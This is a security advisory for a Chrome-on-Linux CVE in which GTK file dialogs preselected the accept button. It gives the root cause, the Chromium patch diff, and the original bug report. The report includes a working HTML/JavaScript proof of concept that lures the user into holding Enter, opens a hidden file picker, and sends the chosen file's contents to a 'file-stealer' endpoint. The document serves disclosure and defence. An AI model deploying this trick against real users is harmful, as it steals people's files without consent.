CVE-2026-2322
Overview
Background
- GTK file chooser
- on Linux builds using the GTK backend,
ui/gtk/select_file_dialog_linux_gtk.ccbuilds native open, folder-select and save dialogs viaGtkFileChooserDialogNew, passing button label/response-ID pairs. - `GTK_RESPONSE_ACCEPT`
- a negative, GTK-predefined response ID; per the new code comment, GTK preselects a button with this response as the dialog’s default, so pressing Enter activates it.
- Application response IDs
- GTK reserves negative integers for its own responses, leaving zero and positive values for application-defined ones that do not get this default-button treatment.
- `kResponseTypeAccept`
- a new constant equal to
static_cast<GtkResponseType>(0)used as the accept button’s response ID.
Root Cause Analysis
The three dialog-construction sites in select_file_dialog_linux_gtk.cc (open file, select folder, save-as) registered the Open/Select/Save button with GTK_RESPONSE_ACCEPT, which GTK makes the preselected default button.
As a result, a user who was already holding Enter when the dialog appeared would immediately confirm it, accepting whatever file, folder or save target the dialog showed without making a deliberate choice. The violated invariant is that a security-relevant chooser should require an intentional user action, not inherit a keypress begun before it was displayed.
The fix replaces GTK_RESPONSE_ACCEPT with the application-defined kResponseTypeAccept (0) at all three sites so GTK no longer preselects the accept button, and relaxes the DCHECK in the response-handling function to accept either GTK_RESPONSE_ACCEPT or kResponseTypeAccept so the non-cancel path still works. The commit references the related file-chooser bug 435684924, tying this to the same “trick the user into accepting a file dialog” threat.
GTK_RESPONSE_ACCEPT made the accept button the default, so a held Enter key auto-confirmed the dialog; switching to an application-defined response ID removes the default-button behavior.Attack Path
- Lure the user into holding Enter a page instructs the user to press and hold Enter (e.g. as part of a fake game or prompt), per the commit comment describing this exploit.
- Open a file chooser while Enter is held, the page causes Chrome to show a native GTK file dialog (open, folder upload, or save; how the page triggers it is not shown in the diff).
- Default button auto-activates
because the accept button used
GTK_RESPONSE_ACCEPTand was preselected, the held Enter confirms the dialog with its current selection. - Unintended selection returned the page receives a file or folder the user never deliberately chose, or a save target is confirmed (what exactly is preselected is inferred).
Impact Assessment
Files Changed
ui/gtk/select_file_dialog_linux_gtk.cc
Audit Directions
- Default buttons on security dialogscheck other native dialog backends (portal/KDE on Linux, Windows, macOS) and Chrome’s own permission/download prompts for a preselected accept action that a held key or queued input can trigger.
- Input carried over from before displaylook for dialogs and prompts lacking an input-protection delay or key-repeat filtering, so keystrokes begun before the UI appeared cannot confirm it.
- Renderer-triggered pickersreview every web-reachable picker (file input, directory upload, File System Access, downloads “Save as”) for combinations of attacker-timed opening and a meaningful default selection.
Patch
From e93121e97478a41d529c8586a48b4ec34173f79a Mon Sep 17 00:00:00 2001 From: Tom Anderson <[email protected]> Date: Mon, 05 Jan 2026 17:42:17 -0800 Subject: [PATCH] [GTK] Don't preselect file dialog accept buttons R=thestig Change-Id: I61cc29e0560af5dd433ea07c234b9813e3d72c74 Fixed: 470928605 Bug: 435684924 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7399531 Commit-Queue: Thomas Anderson <[email protected]> Reviewed-by: Lei Zhang <[email protected]> Cr-Commit-Position: refs/heads/main@{#1564733} --- diff --git a/ui/gtk/select_file_dialog_linux_gtk.cc b/ui/gtk/select_file_dialog_linux_gtk.cc index f27859cf6..3894f327 100644 --- a/ui/gtk/select_file_dialog_linux_gtk.cc +++ b/ui/gtk/select_file_dialog_linux_gtk.cc @@ -43,6 +43,14 @@ namespace { +// GTK's internal response IDs use negative integers (eg. GTK_RESPONSE_CANCEL), +// leaving zero and positive integers for application-defined response IDs. Use +// zero for the accept response type since GTK will preselect +// GTK_RESPONSE_ACCEPT as the default button, which should be avoided to prevent +// an exploit where the user is instructed to hold Enter before the dialog +// appears. +constexpr GtkResponseType kResponseTypeAccept = static_cast<GtkResponseType>(0); + // TODO(crbug.com/41469294): These getters will be unnecessary after // migrating to GtkFileChooserNative. const char* GettextPackage() { @@ -413,7 +421,7 @@ gfx::NativeWindow parent) { GtkWidget* dialog = GtkFileChooserDialogNew( title.c_str(), nullptr, GTK_FILE_CHOOSER_ACTION_OPEN, GetCancelLabel(), - GTK_RESPONSE_CANCEL, GetOpenLabel(), GTK_RESPONSE_ACCEPT); + GTK_RESPONSE_CANCEL, GetOpenLabel(), kResponseTypeAccept); SetGtkTransientForAura(dialog, parent, platform_); AddFilters(GTK_FILE_CHOOSER(dialog)); @@ -453,7 +461,7 @@ GtkWidget* dialog = GtkFileChooserDialogNew( title_string.c_str(), nullptr, GTK_FILE_CHOOSER_ACTION_SELECT_FOLDER, GetCancelLabel(), GTK_RESPONSE_CANCEL, accept_button_label.c_str(), - GTK_RESPONSE_ACCEPT); + kResponseTypeAccept); SetGtkTransientForAura(dialog, parent, platform_); GtkFileChooser* chooser = GTK_FILE_CHOOSER(dialog); if (type == SELECT_UPLOAD_FOLDER || type == SELECT_EXISTING_FOLDER) @@ -511,7 +519,7 @@ GtkWidget* dialog = GtkFileChooserDialogNew( title_string.c_str(), nullptr, GTK_FILE_CHOOSER_ACTION_SAVE, GetCancelLabel(), GTK_RESPONSE_CANCEL, GetSaveLabel(), - GTK_RESPONSE_ACCEPT); + kResponseTypeAccept); SetGtkTransientForAura(dialog, parent, platform_); AddFilters(GTK_FILE_CHOOSER(dialog)); @@ -548,7 +556,8 @@ if (is_cancel) return true; - DCHECK(response_id == GTK_RESPONSE_ACCEPT); + DCHECK(response_id == GTK_RESPONSE_ACCEPT || + response_id == kResponseTypeAccept); return false; }
Original Bug Report
On Ubuntu (or other Linux-based systems) an attacker can steal files uploaded to other sites with little user interaction.
Report description
On Ubuntu (or other Linux-based systems) an attacker can steal files uploaded to other sites with little user interaction.
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
Which URL (or repository) have you found the vulnerability in?
/
The problem
Please describe the technical details of the vulnerability
I discovered that on Ubuntu, whenever you’re uploading a file using a <input type=file>, the file selection window automatically opens the folder where from which the previous file upload across any site was made. Furthermore, it even selects the top file in that directory. I found that by tricking a victim into holding the Enter key on their keyboard, a malicious site could automatically select the previously uploaded file and send it to the attacker, without the user having a chance at stopping the attack.
The code below shows a simple PoC to reproduce the issue.
- First, go to any website that supports a file upload (In the attached video PoC, this is the example on https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input/file#using_file_inputs).
- Upload a file from any directory on the filesystem. This mimics a user who has uploaded a file to any site.
- Now browse to the attacker’s page. If you hold the
Enterkey on this page, it will automatically open the file picker window. TheEnterkey being held means that within that window the top file will be selected and uploaded instantaneously.
<p>Hold the "Enter" key</p>
<input type="file" id="fileInput" style="display:none;">
<script>
document.addEventListener('keydown', async e => {
if (e.key === 'Enter') {
const fileInput = document.getElementById('fileInput');
fileInput.click();
fileInput.addEventListener('change', function() {
const file = this.files[0];
console.log('File name:', file.name);
console.log('File size (bytes):', file.size);
console.log('MIME type:', file.type);
const reader = new FileReader();
reader.onload = function(e) {
console.log('File content:', e.target.result);
fetch('/file-stealer?file=' + e.target.result);
};
reader.readAsText(file);
});
}
})
</script>
I believe that tricking a user into holding the Enter key is a trivial user interaction to achieve. The video PoC that I’ve attached shows a site that is dressed up a bit more and that requires the holding of this key to load, however one could also easily envision a game where the enter key is used to speed up a car, and thus held.
As a user, I’d like to know that I can safely hold any key on my keyboard without that causing my last uploaded file to be stolen.
Impact analysis
Any remote attacker can host a malicious site that allows the stealing of files uploaded to other sites.
The cause
What version of Chrome have you found the security issue in?
143.0.7499.169
Is the security issue related to a crash?
No, it is not related to a crash.
Choose the type of vulnerability
Site Isolation Bypass
How would you like to be publicly acknowledged for your report?
Robbe Van Roey | PinkDraconian